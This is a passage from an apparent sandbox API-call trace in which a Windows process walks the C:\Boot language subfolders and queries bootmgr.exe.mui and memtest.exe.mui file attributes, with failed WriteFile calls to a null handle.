	[0240.116] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.116] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.116] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.117] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.117] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0240.127] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.127] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.127] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.128] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.141] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0240.145] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.145] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0240.145] VirtualAlloc (lpAddress=0xc0004d2000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d2000
	[0240.146] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.146] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.146] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.146] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.146] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.146] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.146] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1
	[0240.147] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.147] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1
	[0240.147] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.147] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc" (normalized: "c:\\boot\\qps-ploc"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.148] CreateFileW (lpFileName="C:\\Boot\\qps-ploc" (normalized: "c:\\boot\\qps-ploc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.148] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0240.148] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.148] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.148] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.148] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.148] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0240.149] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.149] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12160)) returned 1
	[0240.151] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.152] GetFileAttributesExW (in: lpFileName="C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef684d85, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbd1a998, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xd398)) returned 1
	[0240.152] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.152] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ro-RO" (normalized: "c:\\boot\\ro-ro"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.152] CreateFileW (lpFileName="C:\\Boot\\ro-RO" (normalized: "c:\\boot\\ro-ro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.152] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.153] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.153] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.153] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.153] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.153] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.153] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960)) returned 1
	[0240.154] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.154] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.167] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.167] VirtualAlloc (lpAddress=0xc0004d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d6000
	[0240.167] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.168] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.168] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.168] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.168] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.168] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.223] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.223] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0240.223] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.223] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0)) returned 1
	[0240.224] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.224] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sk-SK" (normalized: "c:\\boot\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.224] CreateFileW (lpFileName="C:\\Boot\\sk-SK" (normalized: "c:\\boot\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.224] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
